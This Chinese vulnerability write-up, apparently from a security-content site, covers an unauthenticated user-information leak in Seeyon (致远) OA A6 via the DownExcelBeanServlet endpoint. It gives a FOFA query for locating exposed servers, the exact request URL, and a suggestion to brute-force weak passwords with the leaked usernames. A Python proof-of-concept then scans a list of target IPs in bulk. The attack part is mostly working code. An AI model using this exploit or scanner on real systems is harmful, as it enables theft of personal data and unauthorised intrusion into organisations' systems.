致远OA A6 DownExcelBeanServlet 用户敏感信息泄露-棉花糖会员站

# 致远OA A6 DownExcelBeanServlet 用户敏感信息泄露

## 漏洞描述

致远OA A6 存在某个未授权的接口导致任意访问者可下载OA中的用户信息

## 漏洞影响

> [!NOTE]
>
> 致远OA A6

## FOFA

> [!NOTE]
>
> title=”致远A8+协同管理软件.A6″

## 漏洞复现

访问如下URL即可跳转下载用户信息文件

“`
http://xxx.xxx.xxx.xxx/yyoa/DownExcelBeanServlet?contenttype=username&contentvalue=&state=1&per_id=0
“`

可以再利用得到的用户名使用弱口令爆破进入OA进一步攻击

## 漏洞利用POC

“`python
import requests
import sys
import random
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
print(‘+——————————————‘)
print(‘+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m’)
print(‘+ \033[34mGithub : https://github.com/PeiQi0 \033[0m’)
print(‘+ \033[34m公众号 : PeiQi文库 \033[0m’)
print(‘+ \033[34mVersion: 致远OA A6 \033[0m’)
print(‘+ \033[36m使用格式: python3 poc.py \033[0m’)
print(‘+ \033[36mFile >>> ip.txt \033[0m’)
print(‘+——————————————‘)

def POC_1(target_url):
vuln_url = target_url + “/yyoa/DownExcelBeanServlet?contenttype=username&contentvalue=&state=1&per_id=0”
headers = {
“User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36”,
}
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
if “@” in response.text and response.status_code == 200:
print(“\033[32m[o] 目标 {}存在漏洞,下载地址:{} \033[0m”.format(target_url, vuln_url))
else:
print(“\033[31m[x] 目标 {}不存在漏洞 \033[0m”.format(target_url))
except Exception as e:
print(“\033[31m[x] 请求失败 \033[0m”, e)

def Scan(file_name):
with open(file_name, “r”, encoding=’utf8’) as scan_url:
for url in scan_url:
if url[:4] != “http”:
url = “http://” + url
url = url.strip(‘\n’)
try:
POC_1(url)

except Exception as e:
print(“\033[31m[x] 请求报错 \033[0m”.format(e))
continue

if __name__ == ‘__main__’:
title()
file_name = str(input(“\033[35mPlease input Attack File\nFile >>> \033[0m”))
Scan(file_name)
“`